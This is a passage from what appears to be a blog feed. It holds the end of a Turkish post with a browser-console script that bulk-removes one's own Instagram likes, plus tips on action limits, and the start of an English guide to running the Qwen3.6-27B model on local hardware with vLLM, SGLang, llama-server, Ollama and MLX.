class="o">=</span><span class="w"> </span><span class="mf">700</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">DELETE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1500</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">sleep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ms</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">ms</span><span class="p">));</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">element</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">[</span><span class="s2">"mousedown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mouseup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"click"</span><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">eventType</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">dispatchEvent</span><span class="p">(</span> <span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">MouseEvent</span><span class="p">(</span><span class="nx">eventType</span><span class="p">,</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">view</span><span class="o">:</span><span class="w"> </span><span class="nb">window</span><span class="p">,</span> <span class="w"> </span><span class="nx">bubbles</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">cancelable</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">buttons</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span> <span class="w"> </span><span class="p">}),</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="bk.components.Flexbox"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">el</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Select"</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">selectBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">selectBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Select butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">selectBtn</span><span class="p">);</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">selectComments</span><span class="p">(</span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">icons</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">icons</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">selected</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">const</span><span class="w"> </span><span class="nx">icon</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">icons</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">selected</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">behavior</span><span class="o">:</span><span class="w"> </span><span class="s2">"smooth"</span><span class="p">,</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">400</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">button</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'[role="button"]'</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">button</span><span class="p">)</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">button</span><span class="p">);</span> <span class="w"> </span><span class="nx">selected</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">ICON_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">selected</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'span[data-bloks-name="bk.components.TextSpan"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">span</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">span</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Unlike"</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteText</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">deleteText</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'div[style*="pointer-events: auto"]'</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Bloks Unlike butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">deleteBtn</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s2">"button"</span><span class="p">)].</span><span class="nx">find</span><span class="p">(</span> <span class="w"> </span><span class="p">(</span><span class="nx">btn</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Unlike"</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">DELETE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">modalDeleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Onaylama butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">focus</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">100</span><span class="p">);</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">click</span><span class="p">();</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">cycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span> <span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">();</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deletedCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">selectComments</span><span class="p">(</span><span class="nx">MAX</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deletedCount</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">"Geri &ccedil;ekilecek be&gbreve;eni kalmad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">();</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`&Ccedil;evrim </span><span class="si">${</span><span class="nx">cycle</span><span class="si">}</span><span class="sb">: </span><span class="si">${</span><span class="nx">deletedCount</span><span class="si">}</span><span class="sb"> adet be&gbreve;eni kald&inodot;r&inodot;ld&inodot;.`</span><span class="p">);</span> <span class="w"> </span><span class="nx">cycle</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">CYCLE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="s2">"&Idot;&scedil;lem durduruldu:"</span><span class="p">,</span><span class="w"> </span><span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">})();</span> </code></pre></div> <hr/> <h2 id="olas-sorunlar-ve-cozumleri">🛠️ Olas&inodot; Sorunlar ve &Ccedil;&ouml;z&uuml;mleri<a class="headerlink" href="#olas-sorunlar-ve-cozumleri" title="Permanent link">#</a></h2> <ul> <li><strong>Instagram Engeli (Action Limit):</strong> Betik &ccedil;al&inodot;&scedil;&inodot;rken Instagram ge&ccedil;ici i&scedil;lem engeli koyabilir. Bu durumda konsolda istek hatalar&inodot; g&ouml;rmeye ba&scedil;lars&inodot;n&inodot;z. &Ccedil;&ouml;z&uuml;m olarak koddaki <code>CYCLE_DELAY</code> de&gbreve;erini <code>30000</code> (30 saniye) veya daha yukar&inodot;s&inodot;na &ccedil;ekin, <code>MAX</code> de&gbreve;erini ise <code>5</code> gibi k&uuml;&ccedil;&uuml;k seviyelerde tutun. E&gbreve;er engel yediyseniz, ilk etapta bir 8 saat dinlenmeye &ccedil;ekilin. 8 saat sonra h&acirc;l&acirc; engel devam ediyorsa, hesab&inodot;n tamamen kendine gelmesi i&ccedil;in 24 saat ge&ccedil;mesini beklemeniz gerekir.</li> <li><strong>Buton Bulunamad&inodot; Hatas&inodot;:</strong> Sayfa hen&uuml;z tam y&uuml;klenmemi&scedil; olabilir veya dil ayar&inodot;n&inodot;z &Idot;ngilizce de&gbreve;ildir. Sayfay&inodot; yenileyip dilin &Idot;ngilizce oldu&gbreve;undan emin olduktan sonra kodu tekrar &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n.</li> <li><strong>Beti&gbreve;i Durdurmak &Idot;stiyorum:</strong> Konsola a&scedil;a&gbreve;&inodot;daki kodu yap&inodot;&scedil;t&inodot;r&inodot;p &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz. Ya da hi&ccedil; kodla u&gbreve;ra&scedil;mak istemiyorsan&inodot;z, do&gbreve;rudan taray&inodot;c&inodot; sayfas&inodot;n&inodot; yenileyerek (F5 atarak) beti&gbreve;i an&inodot;nda durdurabilirsiniz :) <code>javascript window.__STOP_IG_BULK_DELETE__ = true;</code></li> </ul> <p>E&gbreve;er mobil uygulama taraf&inodot;nda klavye ile ilgili can s&inodot;k&inodot;c&inodot; bir g&ouml;rsel problem ya&scedil;&inodot;yorsan&inodot;z, daha &ouml;nce haz&inodot;rlad&inodot;&gbreve;&inodot;m <a href="/instagram-klavye-yorum-kutusu-sorunu/">Instagram&rsquo;da Klavye Yorum Kutusunun &Uuml;zerini Kapat&inodot;yorsa Ne Yapmal&inodot;s&inodot;n&inodot;z?</a> rehberime de g&ouml;z atabilirsiniz.</p> <p>E&gbreve;er sen de ge&ccedil;mi&scedil;ini temizlemek istiyorsan dostum, yukar&inodot;daki betikleri taray&inodot;c&inodot; konsolunda &ccedil;al&inodot;&scedil;t&inodot;rarak bu dertten zahmetsizce kurtulabilirsin. Yorumlarda deneyimlerini payla&scedil;may&inodot; unutmay&inodot;n!</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Bahsetti&gbreve;im o eski demo videosunu merak edenler <a href="https://www.instagram.com/p/CEOCOVTjnLo/" rel="noopener noreferrer" target="_blank">Instagram g&ouml;nderime</a> g&ouml;z atabilir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>T&uuml;m etkile&scedil;im sayfalar&inodot;na Instagram web s&uuml;r&uuml;m&uuml;nde sol men&uuml;deki "Your activity" panelinden de ula&scedil;abilirsiniz.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:25:00+03:002026-05-29T04:25:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/en/qwen-3-6-27b-yerel-kod-modeli-kurulumu/

<p>I'm explaining how to run Alibaba's latest AI marvel, the Qwen3.6-27B model, on local hardware (RTX 3090/5090, Apple Silicon, AMD Strix Halo) and connect it to coding agents.</p>

<p>Folks, the AI world has been feeding us a fairy tale for ages: If you want top-tier coding performance on your local machine or server, you have to set up gigantic Mixture of Experts (MoE) models with hundreds of billions of parameters. Of course, that comes with the hefty price of complex routing logic, driver nightmares, and more GPUs than a small neighborhood needs to stay warm. 🥵</p> <p>Alibaba's <strong>Qwen3.6-27B</strong> model, released on April 22, 2026, has completely shattered this dogma. This beast, despite being a mere 27 billion parameter dense architecture, has absolutely crushed its previous-generation MoE flagship (Qwen3.5-397B-A17B) in coding and software agent benchmarks. And guess what? It can run on our trusty home hardware without any complex routing tables or expert loading headaches. 😎</p> <p>In this article, I'll walk you through how this small but mighty model stands up to colossal MoE models, what hardware configurations can run it at which quantization levels, and how to integrate it with our local coding agents (OpenClaw, Qwen Code, Claude Code) step by step.</p> <h2 id="a-giant-moe-model-vs-a-27b-dense-architecture">A Giant MoE Model vs. A 27B Dense Architecture<a class="headerlink" href="#a-giant-moe-model-vs-a-27b-dense-architecture" title="Permanent link">#</a></h2> <p>The numbers are truly astounding, my friends. Qwen3.6-27B doesn't just slightly edge out its predecessor; it achieves an overwhelming victory across all benchmarks critical for real-world developer tools.</p> <p>In <strong>SWE-bench Verified</strong>, which measures real GitHub issue resolution capabilities, Qwen3.6-27B scores <strong>77.2%</strong>, compared to the massive 397 billion parameter MoE model's 76.2%. Considering the 15x difference in model size, this is a monumental achievement. 🤯</p> <p>The gap widens in <strong>Terminal-Bench 2.0</strong>, which tests terminal/command-line tasks: Qwen3.6-27B gets 59.3%, while the MoE model settles for 52.5%. In <strong>SkillsBench</strong>, involving practical software engineering tasks, the disparity is even more pronounced: 48.2% versus 30.0%. In short, this smaller model is significantly more capable in the complex, messy, and varied coding tasks developers face daily.</p> <p>But how does this happen? Dense architectures don't waste time with "expert routing" loops or loading sparse weights into memory like MoE models do. ⚡ All parameters are active during every forward pass. The 27 billion parameter limit is large enough to encode complex reasoning patterns but small enough to run efficiently without requiring exotic hardware.</p> <h2 id="what-does-qwen36-27b-offer-us">What Does Qwen3.6-27B Offer Us?<a class="headerlink" href="#what-does-qwen36-27b-offer-us" title="Permanent link">#</a></h2> <p>Qwen3.6-27B isn't just a code-writing model. It boasts a highly capable and versatile feature set:</p> <ul> <li><strong>Agentic Coding Capability 🛠️:</strong> It excels at tool use, long-term planning, and multi-file editing. Scoring 72.4% on Claw-Eval, it proves it can be a true assistant in complex developer workflows.</li> <li><strong>Visual and Multimodal Intelligence 👁️:</strong> It can process images, videos, and text through a single checkpoint, eliminating the need for an additional vision model. It can easily analyze documentation diagrams or screenshots.</li> <li><strong>Massive Context Window 📄:</strong> It offers native support for 262,144 (262K) tokens locally. With YaRN RoPE scaling, this limit can be stretched to the realm of 1 million tokens.</li> <li><strong>Thinking Modes (Thinking Mode) 🧠:</strong> It generates reasoning steps within <code>&lt;think&gt;...&lt;/think&gt;</code> blocks, providing more coherent answers to complex queries. You can disable this mode to reduce latency for simpler tasks.</li> </ul> <h2 id="local-hardware-options-and-setup-steps">Local Hardware Options and Setup Steps<a class="headerlink" href="#local-hardware-options-and-setup-steps" title="Permanent link">#</a></h2> <p>Thanks to its dense architecture, you can run Qwen3.6-27B in various ways depending on your budget and available hardware.</p> <h3 id="1-budget-friendly-single-gpu-rtx-4090-24gb-vram">1. Budget-Friendly Single GPU (RTX 4090 / 24GB VRAM) 💰<a class="headerlink" href="#1-budget-friendly-single-gpu-rtx-4090-24gb-vram" title="Permanent link">#</a></h3> <p>If you have a single RTX 4090, you can run the model with INT4 or GPTQ quantization. The model weights will occupy about 15-17 GB in memory, leaving plenty of room for KV cache.</p> <p>To run with vLLM:</p> <div class="highlight"><pre><span></span><code>vllm<span class="w"> </span>serve<span class="w"> </span>Qwen/Qwen3.6-27B-GPTQ-Int4<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--max-model-len<span class="w"> </span><span class="m">131072</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning-parser<span class="w"> </span>qwen3 </code></pre></div> <p><em>Expected speed: 15-30 tokens per second in short contexts. This is quite sufficient for use as a local coding assistant.</em></p> <h3 id="2-mid-range-dual-gpu-48gb-vram">2. Mid-Range Dual GPU (48GB VRAM) 🖥️<a class="headerlink" href="#2-mid-range-dual-gpu-48gb-vram" title="Permanent link">#</a></h3> <p>With two RTX 4090s or similar capacity hardware, you can comfortably run the FP8 variant or the BF16 version of the model. FP8 halves the memory footprint without compromising reasoning quality.</p> <p>To run with SGLang:</p> <div class="highlight"><pre><span></span><code>python<span class="w"> </span>-m<span class="w"> </span>sglang.launch_server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model-path<span class="w"> </span>Qwen/Qwen3.6-27B-FP8<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tp-size<span class="w"> </span><span class="m">2</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--mem-fraction-static<span class="w"> </span><span class="m">0</span>.85<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--context-length<span class="w"> </span><span class="m">131072</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning-parser<span class="w"> </span>qwen3 </code></pre></div> <p><em>Expected speed: 40-70 tokens per second. This is the most ideal setup for individual developers and small teams.</em></p> <h3 id="3-the-power-of-a-single-card-rtx-5090-32gb-vram">3. The Power of a Single Card: RTX 5090 (32GB VRAM) 🚀<a class="headerlink" href="#3-the-power-of-a-single-card-rtx-5090-32gb-vram" title="Permanent link">#</a></h3> <p>The RTX 5090 (Blackwell architecture) is the best single-card option for running Qwen3.6-27B, my friend. With 32 GB of VRAM, even after loading the Q4_K_M GGUF model (approx. 16.8 GB), there's a massive amount of space left for KV cache.</p> <div class="admonition warning"> <p class="admonition-title">Caution! ⚠️ Blackwell sm_120 and FP8 Compatibility Issues</p> <p>If you encounter issues with SGLang due to some FP8 incompatibilities on the Blackwell architecture, a temporary solution might be to disable the radix cache feature and use BF16 KV cache instead of FP8<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. The cleanest and most stable approach for now is to use GGUF via llama-server:</p> </div> <div class="highlight"><pre><span></span><code>llama-server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-hf<span class="w"> </span>unsloth/Qwen3.6-27B-GGUF:Q4_K_M<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-mmproj<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--fit<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-ngl<span class="w"> </span><span class="m">99</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">65536</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--flash-attn<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cache-type-k<span class="w"> </span>q8_0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cache-type-v<span class="w"> </span>q8_0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--jinja<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--temp<span class="w"> </span><span class="m">0</span>.6<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--top-p<span class="w"> </span><span class="m">0</span>.95<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--top-k<span class="w"> </span><span class="m">20</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--chat-template-kwargs<span class="w"> </span><span class="s1">'{"preserve_thinking": true}'</span> </code></pre></div> <p><em>Expected speed: 25-30 tokens/sec generation, 50-70 tokens/sec input processing.</em></p> <h3 id="4-the-king-of-used-rtx-3090-24gb-vram">4. The King of Used: RTX 3090 (24GB VRAM) 👑<a class="headerlink" href="#4-the-king-of-used-rtx-3090-24gb-vram" title="Permanent link">#</a></h3> <p>The RTX 3090 remains the most sensible price-to-performance option for local AI developers. Its 24 GB VRAM capacity is the same as the 4090. You can load the Q4_K_M quantization with 16.8 GB of memory usage, leaving the remaining 7 GB for a 32K-64K context window.</p> <p>The fastest way to run with Ollama:</p> <div class="highlight"><pre><span></span><code>ollama<span class="w"> </span>pull<span class="w"> </span>qwen3.5:27b-q4_K_M ollama<span class="w"> </span>run<span class="w"> </span>qwen3.5:27b-q4_K_M </code></pre></div> <p><em>Note: Official Qwen3.6 support for Ollama is starting to roll out. If you can't find the 3.6 tag, you can also try the 3.5-27B version for performance comparisons.</em></p> <h3 id="5-the-macos-world-apple-silicon-mlx">5. The macOS World: Apple Silicon (MLX) 🍎<a class="headerlink" href="#5-the-macos-world-apple-silicon-mlx" title="Permanent link">#</a></h3> <p>If you're on a Mac, the cleanest approach is to use the MLX library, which speaks directly to Apple's Metal infrastructure<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>. You can use the dynamic 4-bit MLX quantization prepared by Unsloth.</p> <p>The hardware limitation is critical here: An M3 Max model with 24GB of memory will barely manage but might feel sluggish. 🐌 For a smooth experience, aim for at least a 36GB M3 Max, 48GB M4 Pro, or higher (64GB/128GB) models.</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>mlx-lm <span class="c1"># To run with thinking mode enabled:</span> python<span class="w"> </span>-m<span class="w"> </span>mlx_vlm.chat<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model<span class="w"> </span>unsloth/Qwen3.6-27B-UD-MLX-4bit<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--chat-template-kwargs<span class="w"> </span><span class="s1">'{"enable_thinking":true}'</span> </code></pre></div> <h3 id="6-amd-strix-halo-apu">6. AMD Strix Halo APU 🎮<a class="headerlink" href="#6-amd-strix-halo-apu" title="Permanent link">#</a></h3> <p>AMD's Strix Halo (Ryzen AI Max+ 395) platform offers a fantastic alternative for local AI with 16 Zen 5 cores and a 40-CU RDNA 3.5 GPU sharing up to 128GB of unified LPDDR5X memory. You can dedicate 64-96GB of the memory entirely to the GPU, bypassing PCIe bottlenecks or VRAM limitations.</p> <p>Steps for compiling and running llama.cpp using the ROCm infrastructure:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Compiling for gfx1151 architecture</span> cmake<span class="w"> </span>..<span class="w"> 